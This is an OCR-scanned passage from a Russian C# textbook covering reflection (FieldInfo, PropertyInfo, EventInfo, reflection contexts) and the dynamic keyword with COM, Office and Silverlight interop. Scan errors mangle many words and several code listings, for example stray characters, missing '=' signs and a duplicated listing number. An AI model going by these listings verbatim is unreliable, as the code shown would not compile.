несвязанному обобщенному типу, это свойство может ссылаться на тип аргумента, а не конкретный тип.) Существуют также некоторые свойства, предоставляющие дополнительные сведения о поле, например IsStatic, IsInitOnly и IsLiteral. Они соответствуют ключевым словам языка C# static, readonly и const Соответственно. (Свойство IsLiteral вернет значение true, если поле представляет значение перечислимого типа.) 700
Отражение В классе Fieldlnfo определены методы GetValue и SetValue, позво- ляющие считывать и записывать значения поля. Они принимают аргу- мент, указывающий, какой объект следует использовать, либо значение null, если свойство статическое. Как и в случае с методом Invoke класса MethodBase, эти свойства не делают ничего, чего вы бы не могли добиться с помощью метода InvokeMember класса Туре, но данные методы, как пра- вило, удобнее в использовании. Класс Propertyinfo Объект класса Propertyinfo представляет собой свойство. Эту информацию можно получить с помощью свойств типа Typeinfo, GetDeclaredProperty и DeclaredProperties. Как упоминалось ранее, объект типа Propertyinfo не определяет ни- каких свойств, характеризующих доступность, поскольку доступность определяется на уровне отдельных методов set и get. Вы можете полу- чить эти методы с помощью методов GetGetMethod и GetSetMethod, кото- рые возвращают объекты типа Methodinfo. ' Так же как и в случае с типом Fieldinfo, в типе Propertyinfo опреде- лены методы GetValue и SetValue, предназначенные для чтения и записи значений свойства. Свойства могут принимать аргументы; например, индексаторы в C# — это свойства с аргументами. Таким образом, суще- ствуют перегруженные методы GetValue и SetValue, которые принимают массивы аргументов. Кроме того, существует метод GetlndexParameters, возвращающий массив объектов Parameterinfo, представляющих собой аргументы, необходимые для использования свойств. Тип свойства до- ступен через свойство PropertyType. Класс Eventinfo События представлены объектами классов Eventinfo, которые воз- вращаются методом GetDeclareEvent и свойством DeclaredEvents, при- надлежащими классу Typeinfo. Как и в случае класса Propertyinfo, этот класс не имеет свойств, характеризующих доступность события, по- скольку события добавляют и удаляют методы, для каждого из которых определен собственный уровень доступности. Вы можете получить эти методы с помощью вызовов методов GetAddMethod и GetRemoveMethod, возвращающих объекты типа Methodinfo. В классе Eventinfo определено 701
Глава 13 свойство EventHandlerType, возвращающее тип делегата, необходимого для передачи обработчиками событий. Вы можете прикреплять и удалять обработчики, вызывая методы AddEventHandler и RemoveEventHandler. Как и для всех других динамиче- ских вызовов, эти методы просто предлагают более удобную альтерна- тиву методу InvokeMember типа Туре. Контексты отражений Во фреймворке .NET версии 4.5 появилась новая функция API-ин- терфейса отражения: контексты отражений. Она позволяет отражению предоставлять виртуальный образ системы типов. При написании соб- ственного контекста отражения вы можете изменять типы — заставить его выглядеть так, будто он имеет дополнительные свойства, или доба- вить набор собственных атрибутов, которые предлагают члены и пара- метры. (Пользовательские атрибуты описаны подробнее в главе 15.) Контексты отражений довольно полезны, поскольку они позволя- ют создавать фреймворки на основе отражения, которые позволяют от- дельным типам настроить способ их обработки, не заставляя при этом каждый тип, участвующий в процессе обработки, предоставлять явнуй поддержку. До появления фреймворка .NET версии 4.5 эта особенность обрабатывалась различными специальными системами. К примеру, рас- смотрим панель Properties (Свойства) среды разработки Visual Studio. На ней может автоматически отображаться каждое общедоступное свойство, определенное любым объектом .NET, касающееся внешнего вида (например, любой компонент пользовательского интерфейса). Это хорошо, что существует автоматическая поддержка редактирования даже для компонентов, которые не обеспечивают подобной возможно- сти явно, но компоненты должны иметь возможность настроить свое по- ведение во время разработки. Поскольку панель Properties (Свойства) существовала еще до по- явления фреймворка .NET 4.5, для ее работы было реализовано одно особое решение — класс TypeDescriptor. Он является оберткой отра- жения, позволяющей любому классу подавлять его поведение во время разработки путем реализации интерфейса ICustomTypeDescriptor, что позволяет классу настроить набор свойств, предлагаемых для редакти- рования, а также для управления способом их представления, предлагая специальные полбзобательские интерфейсы для редактирования. Этот 702
I Отражение Способ довольно гибкий, но он имеет недостаток — код, предназначен- ной для использования во время разработки, смешивается с исполняе- мым кодом — компоненты, которые используют подобную модель, не могут легко быть отправлены без сопутствующей поставки кода, приме- иемого во время разработки. Поэтому среда разработки Visual Studio федставила собственные механизмы виртуализации для разделения 1вух видов кода. Для того чтобы избежать ситуации, когда каждый фреймворк опре- (еляет собственную систему виртуализации, в версии .NET 4.5 виртуа- мзация строится непосредственно с помощью API-интерфейса отраже- мя. Если вы хотите написать код, который может не только принимать шформацию о типах, предоставляемую отражением, но и поддерживать е подавление или изменение во время разработки, больше нет необхо- имости пользоваться какого-либо рода оберткой. Вы можете применять бычные типы отражения, описанные ранее в этой главе, но теперь при том можно указать, чтобы при отражении использовались разные реа- йзации этих типов, обеспечивающие разный уровень виртуализации. Это можно сделать путем написания пользовательского контекста |тражения, что описывает способ изменения вида, предоставляемого Сражением. В листинге 13.12 продемонстрирован очень скучный тип, а которым следует пользовательский контекст отражения, заставляю- ций его выглядеть так, будто он имеет свойство. Листинг 13.12. Простой тип, улучшенный с помощью контекста отражения Class NotVerylnteresting I > class MyReflectionContext CustomReflectionContext I protected override IEnumerable<PropertyInfo> AddProperties(Type type) i if (type == typeof(NotVerylnteresting)) ( var fakeProp = CreateProperty( MapType(typeof(string) .GetTypelnfо()).AsType(), "FakeProperty", о => "FakeValue",
Глава 13 "Setting value: + v)); Q return new[] { fakeProp }; «I ) * else К I { I return base.AddProperties(type); I ) i ) } « Код, который использует API-интерфейс отражения напрямую увидит тип NotVerylnteresting таким, какой он есть — без свойств. Tej не менее можно отобразить этот тип с помощью контекста отражен^ MyRef lectionContext, что показано в листинге 13.13. » & Листинг 13.13. Использование пользовательского контекста отражения * var ctx = new MyReflectionContext(); Typeinfo mappedType = ctx.MapType(typeof(NotVerylnteresting).GetTypelnfo()); foreach (Propertyinfo prop in mappedType.DeclaredProperties) < ь Console.WriteLine("{0} ({1})", prop.Name, prop.PropertyType.Name); } Переменная MappedType содержит ссылку на полученный отображен ный тип. Он все еще выглядит как обычный отраженный объект тит Typeinfo, и мы можем работать с его свойствами обычным способом с помощью свойства DeclaredProperties, но поскольку мы отобразил тип с помощью собственного контекста отражения, мы увидим модифи- цированную версию типа. Выходные данные этого покажут, что у тит есть одно свойство, называемое FakeProperty, которое имеет тип string. Резюме API-интерфейс отражения позволяет писать код, поведение кото- рого основано на структуре типов, с которыми он работает. Он может решать, какие значения представить в сетке пользовательского интер- фейса, основываясь на свойствах, предлагаемых объектом, или же из- менить поведение фреймворка на основе того, какие члены некоторо- 704
Отражение го типа были определены. Например, части веб-фреймворка ASP.NET определят, использует ваш код синхронщде^или асинхронные приемы программирования, и подстроится соответствующим образом. Эти приемы требуют возможности проверки кода во время выполнения, что позволяет делать механизм отражения. Вся информация в сборке, ко- торая требуется системе типов, доступна нашему коду. Кроме того, вы можете представить ее с помощью виртуального вида путем создания собственного контекста отражения, что позволяет настроить поведение кода, управляемого отражением. Хотя API-интерфейс отражения предоставляет различные меха- низмы для вызова членов класса, язык С # предоставляет гораздо бо- лее простой способ выполнения динамического вызова, что вы увидите в следующей главе.
Глава 14 ДИНАМИЧЕСКАЯ ТИПИЗАЦИЯ C# в основном статически типизированный язык. Это означает, что перед тем, как ваш код запустится, компилятор определит тип каждой переменной, свойства, аргумента метода и выражения. Это называется статическим типом соответствующей единицы, потому что он никогда не меняется после задания во время компиляции. Существует несколь- ко возможностей такого изменения во время выполнения программы благодаря наследованию и интерфейсам. Переменная, статический тип которой является классом, может ссылаться на объект, чей тип — произ- водный от этого класса; если статический тип — интерфейс, переменная может ссылаться на любой объект, реализующий данный интерфейс. Что касается виртуальных методов или интерфейсов, эта возможность позволяет выбирать, какие методы вызываются, но любое изменение строго ограничено по правилам системы типов. Даже если используется виртуальный метод, компилятор знает, какой тип определяется мето- дом, вызываемым вами, даже если некоторые производные типы могут переопределить его. Динамические языки меньше заботятся о типах. Тип любой перемен-j ной или выражения определяется в зависимости от значения, которое^ она имеет во время выполнения. Это означает, что определенная часть аргументов и переменных кода могут иметь разные типы при каждом запуске, и компилятор ничего не знает о том, какими эти типы могут быть. Конечно, это верно и для переменных со статическим типом object в языке С#, но проблема заключается в том, что такой тип не может делать много операций. В этом и заключается существенная раз-j ница между статической и динамической типизацией: в случае статиче-1 ской типизации компилятор позволит вам выполнять только операции, о которых он знает, что они наверняка будут доступны, в то время как динамическая типизация ожидает момента выполнения, чтобы опреде- лить, доступна ли операция, запрошенная кодом, сообщая об ошибку если операции нет. При статической типизации компилятор считает, что ошибки, связанные с отсутствием требуемой операции, недопустимы; а в случае динамической — компилятор будет рад, если успех являете! 706 1
Динамическая типизация отдаленной перспективой. Поскольку динамическая типизация — это менее строгий инструмент, позволяющей большее на этапе компиля- ции, некоторые люди называют его слабой типизацией, но это название неверно, что объясняется во врезке «Динамическая, статическая, неяв- ная, явная, строгая и слабая типизации». Несмотря на склонность к статической типизации, язык C# поддер- живает динамический подход, вы просто должны попросить его об этом. Как ни странно, делается это с помощью определенного типа: любая пе- ременная или выражение со статическим типом с помощью ключевого слова dynamic получают возможности динамической типизации. Динамическая, статическая, неявная, явная, строгая и слабая типизации Выражение «слабая типизация» трактуется разными людьми по- разному, как и его антоним, «строгая типизация». Академический мир обычно рассматривает слабую систему типов как инструмент, который не гарантирует предотвращение запуска тех операций, что являются бессмысленными для текущего типа данных. Например, если язык программирования позволяет выполнять бессмысленные операции, такие как деление объекта типа string на объект типа bool, он использует слабую типизацию. Но, согласно этому определению, ключевое слово dynamic не является слабо типизированным. Оно позволит вам писать код, который пытается выполнить такое деле- ние, но во время выполнения он обнаружит, что операция не подхо- дит для операндов, и сообщит об ошибке. Выражения, отмеченные ключевым словом dynamic, выполняют такую же проверку типов, как и компилятор, просто они делают это в другое время. Сравните это с указателями в языке С (которые также поддержива- ются и в языке С#, что будет показано в главе 21). С их помощью вы можете указать компилятору, какой тип имеет место хранения, и он поверит вам на слово (что случается во время компиляции, по- этому такая типизация является статической). Поэтому может взять двоичное представление строки (например, ссылку или какие-либо байты, формирующие строку данных) и пытаться выполнить над ней целочисленное деление на двоичное представление типа bool. Результат получится бессмысленным, но компилятор тем не менее сгенерирует код, который будет пробовать осуществить такое деле- ние, если вам это понадобится, что приведет либо к сбою, либо к ге- нерации бессмысленного результата. Если язык программирования позволяет вам выполнять операции, чьи типы не совпадают с типа- 707
Глава 14 ми операндов, он использует слабую типизацию. И, как показывает код, основанный на указателях, вполне возможно применять слабую типизацию в статически типизированных системах, и наоборот, клю- чевое слово dynamic показывает, что можно иметь строго и одновре- менно динамически типизированную систему. Некоторые разработчики используют термины «слабая» и «строгая типизация» как синонимы динамической и статической типизации со- ответственно. Но, если сравнить, как ключевое слово dynamic в языке C# обрабатывает попытки разделить строку на переменную типа Ьос 1, со способом обработки той же ситуации в статически типизирован- ном коде на основе указателей, кажется немного необычным назы- вать язык, позволяющий выполнять подобные операции, более силь- ным, чем тот, который обнаруживает и предотвращает проблему. Другое популярное заблуждение — зачастую разработчики путают динамическое и статическое distinction с явным и неявным. Здесь легко сделать ошибку, поскольку динамическая типизация требу- ет применения неявной типизации, так как вам не нужно уточнять, какой тип имеют ваши переменные. Тем не менее вполне возмож- но использовать неявную статическую типизацию — для этого при- меняется ключевое слово var. (Кстати, в главе 2 было упомянуто, что разработчики, которые знают JavaScript, часто ошибочно дума- ют, что ключевое слово var в C# служи тем же целям, что и в языке JavaScript. На самом деле, в языке C# ближайшим эквивалентом сло- ва var в JavaScript является ключевое слово dynamic.) Принцип явной и неявной типизации заключается в определении, указываются ли в вашем коде типы, которые в нем используются, тогда как принцип статической и динамической типизации — в указании того, знает ли язык во время компиляции, какие типы вы используете, или он дол- жен подождать, чтобы узнать это во время выполнения программы. Тип dynamic Так же, как и в случае типа object, переменная типа dynamic может содержать ссылку практически на все (указатели, как всегда, являются исключением). Разница заключается в том, что вы можете выполнить гораздо больше операций над объектом или значением, имеющим тип dynamic, чем над объектом или значением типа object. В коде листин- га 14.1 показан метод, чья сигнатура будет принимать два аргумента любых типов и который пытается что-либо сделать с ними, но ему не удается. 708
Динамическая типизация Листинг 14.1. Проблемы статической типизации с помощью типа object public static object UseObjects (object ’"object b) ( a.Frobnicate(); // He откомпилируется return a + b; // Тоже не откомпилируется } Этот код не скомпилируется, потому что компилятор не имеет воз- можности узнать, доступны ли метод Frobnicate или оператор + любому из переданных объектов. Они, конечно, могут их иметь, но, поскольку есть вероятность, что их может не быть, компилятор отвергает этот код. Тем не менее можно использовать ключевое dynamic, а не object, что по- казано в листинге 14.2. Листинг 14.2. Свобода совершать ошибки, используя тип dynamic public static dynamic UseObjects(dynamic a, dynamic b) t a.Frobnicate (); return a + b; } Эта модификация предотвращает жалобы компилятора. Это может быть улучшением, а может и не быть — в зависимости от того, поддержи- вают ли заданные операции во время выполнения объекты. Если бы мне пришлось передать пару чисел, код бы не сработал, поскольку, несмотря на то что операция сложения поддерживается, ни для одного встроен- ного числового типа не определен метод Frobnicate. По достижении ко- дом этой строки скорее всего сгенерировалось бы исключение. (В част- ности, RuntimeBinderException, которое находится в пространстве имен Microsoft.CSharp.RuntimeBinder.) Таким образом, хотя код и компили- руется, если что-то случится, нам придется ждать момента выполнения программы, чтобы узнать, что есть проблема, вместо того чтобы нам на это указал компилятор. Тем не менее неудача не гарантирована. Вполне возможно придумать такой тип, который удовлетворит запросы этого метода, показанные в листинге 14.3. В метод UseObjects можно передать два объекта этого класса, и исключение не будет сгенерировано. Листинг 14.3. Тип, объекты которого подходят для передачи в метод UseObjects public class Frobnicatable public void Frobnicate () 709
public static Frobnicatable operator +(Frobnicatable left, Frobnicatable right) { return new Frobnicatable(); } Благодаря API-интерфейсу отражения, описанному в главе 13, до- статочно легко увидеть, как вы могли бы достичь эффекта, аналогично- го приведенному в листинге 14.2, без необходимости поддержки ком- пилятора. Вы можете получить объекты типа Typeinfo для аргументов и искать соответствующие методы, что показано^в листинге 14.4. (Все перегруженные операторы имеют особые названия. Чтобы найти поль- зовательский оператор сложения, необходимо искать статический ме- тод op_Addition.) Листинг 14.4. Использование отражения вместо типа dynamic public static object UseObjects(object a, object b) { * Typeinfo aType = a.GetType().GetTypelnfo(); Methodlnfo frob = aType.DeclaredMethods.Single( j m => m.Name == "Frobnicate"); frob.Invoke(a, null); Methodlnfo add = aType.DeclaredMethods.Single( m => m.Name == "op_Addition"); return add.Invoke(null, new[] { a, b }); ( } Однако этот пример не полностью демонстрирует реальные возмож ности типа dynamic. Если вы должны удалить вызов метода Frobnicati и оставить только оператор сложения, вы обнаружите, что в код, кото рый использует тип dynamic для выполнения сложения (что показаш в листинге 14.2), может быть передана любая пара переменных числовьо типов, например int или double, и сложение будет выполнено успеш- но. Однако прием, показанный в листинге 14.4, так не сможет. Поэтом^ компилятор, очевидно, делает что-то более сложное при использовании типа dynamic. Можно выделить общее правило — при применении операторов с ди- намическими переменными, которые относятся к экземплярам обычных 710
Динамическая типизация типов, язык C# пытается осуществить во время выполнения программы те же действия, что вы бы выполнили, зная типы во время компиляции. Например, предположим, что имеются два статически типизированных выражения, одно из них имеет тип int, а другое — double. Если вы сложи- те их, компилятор сгенерирует код, который приведет выражение типа int к типу double, а затем выполнит операцию сложения с плавающей точкой. Если же имеются выражения типов int и double и они использу- ются в выражении типа dynamic, при выполнении подобного сложения создается тот же эффект во время выполнения программы: тип int при- водится к типу double, а затем выполняется сложение с плавающей точ- кой. Так что в некотором смысле все очень просто — использование типа dynamic ничего не меняет. Тем не менее решение обрабатывать сложение таким способом происходит значительно позже. Поскольку у выраже- ний тип dynamic, при следующем запуске кода мы можем иметь дело с совершенно другими типами (например, парой строк, в этом случае для них должна будет быть выполнена операция конкатенации). Код, в котором используется ключевое слово dynamic, должен быть в состоя- нии обрабатывать подобные преобразования и операции при каждом за- пуске. Поскольку ключевое слово dynamic откладывает на момент выполне- ния ту работу, которая могла бы быть выполнена на этапе компиляции, код должен иметь доступ к значительному количеству логики, исполь- зуемой компилятором (например, для обработки числовых преобразо- ваний). Вы можете ожидать, что будет произведен чудовищно раздутый код, но на самом деле все не так уж плохо, большая часть работы вы- полняется сборкой, называемой Microsoft.CSharp, и компилятор гене- рирует код, который просто вызывает ее. Это не значит, что код не ста- нет объемнее — он станет, а также он станет медленнее, чем статически типизированный код, но не настолько, насколько вы могли бы ожидать. Механизм, который лежит в основе ключевого слова dynamic (называе- мый Dynamic Language Runtime* (это не отдельная среда выполнения, несмотря на звучание, а всего лишь некоторые сборки, выполняемые в CLR и обеспечивающие поддержку динамических функций языка) или DLR), пытается не повторять выполнение ненужного анализа. Если ваш код имеет дело с теми же типами снова и снова, у него есть воз- можность повторно использовать работу, выполненную на предыдущих итерациях. * Среда выполнения динамического языка. 711
Глава 14 Так как компилятор не знает, какие именно операции дина- *<?; 4 • мических выражений будут успешно осуществлены во время —выполнения программы, он не может предложить средство автозаполнения IntelliSense, которое автоматически дополня- ет и предполагает ваш код по мере его ввода. Он может под- сказать вам, какие методы и свойства будут доступны, только в том случае, когда он знает что-либо о том, что вы используе- те, а это обычно ему неизвестно в случае динамической типи- зации. Несмотря на то что использование ключевого слова dynamic может показаться несколько сложным, я не демонстрировал ничего такого, чего нельзя достичь с помощью отражения и написания достаточно умного кода. Тем не менее ключевое слово dynamic предназначено не только для работы с объектами .NET в стиле динамической типизации. Это даже не его основная цель. Ключевое слово dynamic и интероперабельность Основная причина, по которой компания Microsoft добавила ключе^ вое слово dynamic в язык С#, заключается в упрощении определенных сценариев взаимодействия. Их список включает в себя возможность ра-_ ботать с объектами динамических языков, но самым важным является поддержка СОМ (номинальное сокращение от Component Object Mode| (Модель компонентных объектов), но, похоже, это сокращение теряет былой статус). Модель СОМ, предшествовавшая .NET, когда-то была главным спо собом поддержки межъязыковой разработки в ОС Windows (напримед написание компонентов пользовательского интерфейса на языке C++; которые затем можно было использовать в VB). Она отправилась в теш) с появлением .NET, хотя недавно вернулась на передний план благода- ря Windows 8, чей новый Windows Runtime API использует СОМ для предоставления API, который может применяться не только в .NET, нО и из неуправляемого C++ и JavaScript. До C# 4.0 (где было представлено ключевоеслово dynamic) единствен- ным способом, с помощью чего вы могли бы использовать API на основе модели СОМ, являлись базовые службы, предназначенные для работы 712
Динамическая типизация с неуправляемым кодом, которые описаны в главе 21. При этом возни- кали проблемы, когда требовалось работать с СОМ-автоматизацией. г- — СОМ-автоматизация — это один из способов использования моде- ли СОМ, разработанный для поддержки динамического стиля. Модель СОМ по умолчанию является статически типизированной, но в ней определены некоторые интерфейсы, позволяющие определить возмож- ности объекта и использовать их динамически. Эти службы известны как «Автоматизация», для некоторых языков они являются основным способом применения COM-объектов. Наиболее известный пользова- тель Автоматизации СОМ — это Visual Basic для приложений (Visual Basic for Applications, VBA), который используется для создания ма- кросов и скриптов в Microsoft Office. Языки сценариев СОМ скрывают детали модели СОМ более низкого уровня и предоставляют модель ди- намического программирования. Применять статически типизированные языки оказывается доволь- но сложно. Механизмы динамических вызовов в автоматизации забо- тятся о передаче недостающих аргументов, что вдохновляет любого раз- работчика основанного на автоматизации API использовать большое количество необязательных аргументов. Например, в Microsoft Word метод Open, предназначенный для открытия документа, принимает практически неправдоподобно большое количество аргументов — 16. Это позволяет вам управлять мелкими деталями операции. Например, вы можете определить, в каком режиме будет открыт документ — только для чтения либо для чтения и записи, должно ли появляться видимое окно документа или же восстанавливать ли документ автоматически, если окажется, что он был поврежден. Если вы используете Office и создаете макросы с помощью VBA, все прекрасно, поскольку вы можете просто опустить все ненужные аргу- менты — и рассматривать этот метод, как будто он имеет только один ар- гумент. Но если вы пытаетесь управлять Microsoft Office из программы, написанной на языке C# до версии 4.0, необходимо указать все аргумен- ты, даже если требуется только сказать, что вы не передаете значения для них. (Для подобных COM API вы должны передать специальное значение, чтобы указать, что реальное значение аргумента не передает- ся; динамические языки передают его вместо вас, но язык C# раньше этого не делал.) Ключевое слово dynamic может справиться с проблемой гораздо более элегантно, поскольку решается, что нужно делать, во время вы- 713
।лава 14 полненйя. Механизм распознает подобные необязательные аргументь и позволяет вам опускать их. Теперь, как это обычно происходит, прочие модификации были сделаны как в языке С#, так и в службах взаимо действия в .NET 4.0, которые ввели дополнительные способы решение проблемы, и если бы ключевое слово dynamic использовалось только дл> этих целей, оно перестало бы быть особо полезным. Тем не менее в сце нариях взаимодействия может возникнуть еще одна проблема. Некою рые API, взаимодействующие с автоматизацией СОМ, делают уступю статически типизированным языкам, таким как C++ и С#, определю статически типизированные интерфейсы, содержащие все члены, до ступные благодаря автоматизации. (Их иногда называют двойными ин терфейсами СОМ.) Некоторые другие API не делают этого, но все ж( предоставляют библиотеки типов, могущие быть импортированье в .NET, чтобы упростить жизнь статическим языкам. Однако так посту- пают не все API — существует возможность создавать СОМ-объекты что поддерживают только механизмы автоматизации, которые особеннс неудобны в использовании для статически типизированных языков. Но ключевое слово dynamic может быстро справиться с этой пробле- мой — когда выражение типа dynamic ссылается на объект, предназна- ченный только для использования при автоматизации, вы можете вы- зывать его члены, как если бы это был объект любого другого типа, все это благодаря усилиям типа dynamic. Приложение Microsoft Office предоставляет поддержку как объек- тов автоматизации СОМ, так и статически типизированных языков, но иногда из-за этого возникает проблема. API этого приложения опреде- ляет множество свойств, которые могут возвращать более одного типа объектов. Например, свойство Worksheets объекта Workbook в Excel воз- вращает коллекцию, которая может содержать объекты типа Worksheet и Chart. При использовании статической типизации вам необходимо преоб- разовать их к тому типу объектов, что вы ожидаете получить, что показа- но в листинге 14.5. Свойство Cells, предоставляющее доступ к ячейкам книги, представляемой объектом типа Worksheet, может создать такую же проблему — оно возвращает объект типа Range, который является ин-| дексатором, способным-возвращать несколько типов объектов, поэтому вам каждый раз необходимо выполнять преобразование к ожидаемому типу. (В листинге 14.5 я ожидаю получения другого объекта типа Range^ представляющего одну клетку из заданного диапазона.) 1 71А
Динамическая типизация Листинг 14.5. Преобразование типов без ключевого слова dynamic using System.Reflection; using Microsoft.Office.Interop.Excel class Program ( static void Main (string [] args) { var excelApp = new Application(); excelApp.Visible = true; Workbook workBook = excelApp.Workbooks.Add(Missing.Value); Worksheet worksheet = (Worksheet) workBook. Worksheets [ 1 ]; Range cell = (Range) worksheet.Cells[l, "A"]; cell.set_Value(Missing.Value, 42); ) } В этом примере видны и некоторые другие трудности, возникающие при использовании взаимодействия в версиях C# ниже 4. Я передал спе- циальный объект Missing. Value для того, чтобы указать на отсутствие не- обязательных аргументов в ряде мест. Код, изменяющий значение ячейки, также выглядит довольно неудачно. Сравните его с кодом листинга 14.6, который показывает, насколько все изменилось в версии 4.0 и выше. Листинг 14.5. Использование Excel и ключевого слова dynamic using Microsoft.Office.Interop.Excel; class Program static void Main(string!] args) { var excelApp = new Application(); excelApp.Visible = true; Workbook workBook = excelApp.Workbooks.Add(); Worksheet worksheet = workBook.Worksheets[1]; worksheet.Cells[1, "A"] = 42; } } Вы можете подумать, что здесь совершенно не используется ключе- вое слово dynamic. Оно используется, но только неявно. У свойств и ме- 715
Глава 14 тодов, которые могут возвращать различные типы объектов, теперы dynamic вместо object. Например, выражение workbook.Worksheets имеет тип dynamic в C# 4.0 и выше. Это позволило избавиться от п образования — объект типа dynamic может быть назначен перемен» любого другого типа, и компилятор подождет до момента выполнен программы, чтобы сказать, возможно ли такое назначение. Кроме того, выражение worksheet.Cells [1 также имеетт dynamic. С помощью переменной worksheet я назначил выражение с' пом dynamic переменной определенного статического типа, и на ai раз я собираюсь применить другое решение — я пытаюсь назнач} числовое значение выражению типа dynamic, представляющему ячс ку. В языке C# большинство выражений не может быть использова как цель назначения; переменные, свойства и элементы массивов moi быть применены таким образом, но большая часть выражений, произ! дящих значение, нет. Однако выражения, производящие значение тм dynamic, могут использоваться так, и опять же компилятор сгенерир) код, который определяет, что нужно делать, во время выполнения nj граммы. Не все объекты могут быть целью оператора присваивав! поэтому даже подобное присваивание может не сработать. Однако д автоматизации СОМ определено устойчивое выражение, которое пс держивает эту возможность, что показано в листинге 14.6, где в ячей записывается значение 42. Переход от листинга 14.5 к 14.6 не очень заметен — они оба праю чески одинаковы. Листинг 14.6 выглядит лишь слегка чище, а также v нее странно. Тип dynamic работает за кулисами для того, чтобы помо вам создать естественно выглядящий код. Silverlight и объекты сценариев В Silverlight тип dynamic играет дополнительную роль при взаим действии. Поскольку приложения Silverlight часто работают внут] веб-плагина для браузера, им может потребоваться возможность д ступа к объектам из мира веб-браузера, таким как HTML-элементы и; объекты JavaScript, а они в основном имеют динамическую типизаци Их, как правило, называют объектами сценариев в Silverlight, посколы они появляются и разрабатываются для мира сценариев браузера. Silverlight предоставляет различные вспомогательные классы д работы с объектами веб-браузеров, они более удобны, чем низкоуровн 716
Динамическая типизация вые службы взаимодействия, описанные-в-тлаве 21, но даже они кажут- ся относительно громоздкими. В версии 4 в Silverlight была добавлена поддержка ключевого слова dynamic, что упростило использование этих видов объектов. В листинге 14.7 показано применение одного старого API для задания текста HTML-элемента на странице, содержащей при- ложение Silverlight. Листинг 14.7. Использование HTML-объектов без ключевого слова dynamic HtmlElement targetDiv = HtmlPage.Document.GetElementByld("targetDiv"); :argetDiv.SetAttribute("innerText", "Hello"); Как и в случае взаимодействия в Office, преобразование, предла- гаемое типом dynamic, занимает относительно мало места, что показано в листинге 14.8. Листинг 14.8. Использование HTML-объектов с ключевым словом dynamic dynamic targetDiv HtmlPage.Document.GetElementByld("targetDiv"); :argetDiv. innerText "Hello"; Опять же, проблема заключается в основном в придании коду более естественного вида. К атрибутам. HTML-объектов можно получить до- ступ с помощью ключевого слова dynamic и использовать их примерно так же, как и в сценарии для браузера. И, хотя это не было продемон- стрировано, оно же верно и для объектов языка JavaScript в С#. Хотя полная версия фреймворка .NET предоставляет копию сбор- ки Microsoft.CSharp в глобальном кэше сборок, она не присутствует в наборе встроенных сборок, предоставляемом плагином Silverlight. Эта сборка содержит код, который отвечает за поведение ключевого слова dynamic во время выполнения программы, так что вам необхо- димо добавлять ссылку на эту сборку в любой проект для Silverlight, в котором используется это ключевое слово; код не скомпилируется без нее. Добавление ссылки включит копию сборки MicrosoftCSharp. dll в файл с расширением лар. Как вы видели в главе 12, в файлы с та- ким расширением упаковываются копии всех сборок, не являющихся встроенными, независимо от того, используете вы их или нет, поэтому, если вы не планируете использовать ключевое слово dynamic, добавле- ние ссылки просто напрасно увеличит размер файла. Именно поэтому среда разработки Visual Studio не добавляет на нее ссылку по умол- 717
Глава 14 чанию. (Проекты других типов включают эту ссылку автоматически, поскольку в случае, если сборка не понадобится, она просто будет про- игнорирована.) Динамические языки платформы .NET Еще одним сценарием взаимодействия, который поддерживает- ся ключевым словом dynamic, является предоставление возможности коду, написанному на языке С#, использовать объекты динамических языков, разработанных во фреймворке .NET. Например, компания Microsoft реализовала два языка, которые называются IronPython и IronRuby. Они основаны на популярных динамических языках Python и Руби, но целью компилятора является фреймворк .NET, и они используют DLR для реализации своего динамического пове- дения. Это означает, что вы можете создать объект, скажем, с помо- щью IronPython, используя все обычные динамические возможности, предлагаемые этим языке, а затем передать efo в код на языке С#. По- добные языки отдельно настраивают работу своих объектов, когда те используются с помощью ключевого слова dynamic. (В языке C# так- же возможно выполнить подобную настройку, если это необходимо, что будет показано далее.) Потому, когда вы используете эти объекты в С#, они продолжат вести себя так, будто бы вы использовали их не- посредственно из кода на родном языке. Особенности ключевого слова dynamic Язык C# рассматривает dynamic как отдельный тип, но среда выпол- нения CLR так не считает. Если вы применяете инструмент, не привязан- ный к конкретному языку, например ILDASM, для того чтобы просмо- треть метод, использующий тип dynamic для возвращаемых параметрон вы увидите объект типа System. Object. Когда вы применяете dynamic дл1 параметров и возвращаемых значений, а также свойств и полей, компн лятор сгенерирует код, который использует объекты типа object с пола зовательским атрибутом DynamicAttribute. (Пользовательские атрибу ты будут описаны в главе 15.) Среда выполнения CLR ничего не делав! с этим атрибутом — он интересует только компиляторы. Этот атрибу указывает, что компилятор, который генерирует код, использующин элемент с таким атрибутом, должен предоставить возможность динами ческой типизации. -— 718
Динамическая типизация Компиляторы, поддерживаюТцйе тип dynamic (или что-то эквива- лентное), при использовании этого ключевого слова сгенерируют код, значительно отличающийся от кода, который предназначался бы для обработки объектов типа object. Фактически эта особая обработка — определяющая особенность ключевого слова dynamic, именно поэтому оно не требует поддержки от среды выполнения CLR. Единственная причина существования атрибута DynamicAttribute — указать ком- пилятору, что требуется предоставить возможность динамической типизации. Этот атрибут нельзя увидеть у локальных переменных, помеченных ключевым словом dynamic. Единственный код, использу- ющий локальную переменную, — это метод, в котором она определена. И когда компилятор генерирует код этого метода на промежуточном / языке, он уже знает из исходного кода, какие локальные переменные являются динамическими, поэтому не добавляет никаких атрибутов для этих переменных. Атрибут DynamicAttribute необходим только в тех сценариях, когда что-то должно получить доступ к переменной и потому должно знать, что ее следует рассматривать как динамиче- скую. Ограничения использования типа dynamic Поскольку dynamic рассматривается как отдельный тип только в мире языка С#, но не в среде выполнения CLR, некоторые действия нельзя выполнить объектом этого типа. Выражение typeof (dynamic) вы- зовет ошибку компилятора, поскольку не существует соответствующего объекта типа Туре. (Отражаемые объекты поддерживаются средой вы- полнения CLR, и она предоставит объекты типов Туре и Typeinfo толь- ко для тех объектов, которые посчитает типами.) Также нельзя наследо- вать от типа dynamic, поскольку «динамичность» — это характеристика выражения, а не отдельного объекта. Любой объект получит динамиче- ское поведение в зависимости от выражения, в котором он использу- ется. «Динамичность» не является особенностью отдельного объекта и поэтому не служит характеристикой типа объекта, из чего следует, что от типа dynamic нельзя наследовать. По той же причине невозможно создать экземпляр типа dynamic. Язык C# позволяет вам использовать тип dynamic как обобщенный аргумент, но и тут есть свои ограничения. Поскольку этот тип не пред- ставлен в среде выполнения CLR, языку C# приходится как-то заменять его, что вы увидите, если запустите код листинга 14.9. 719
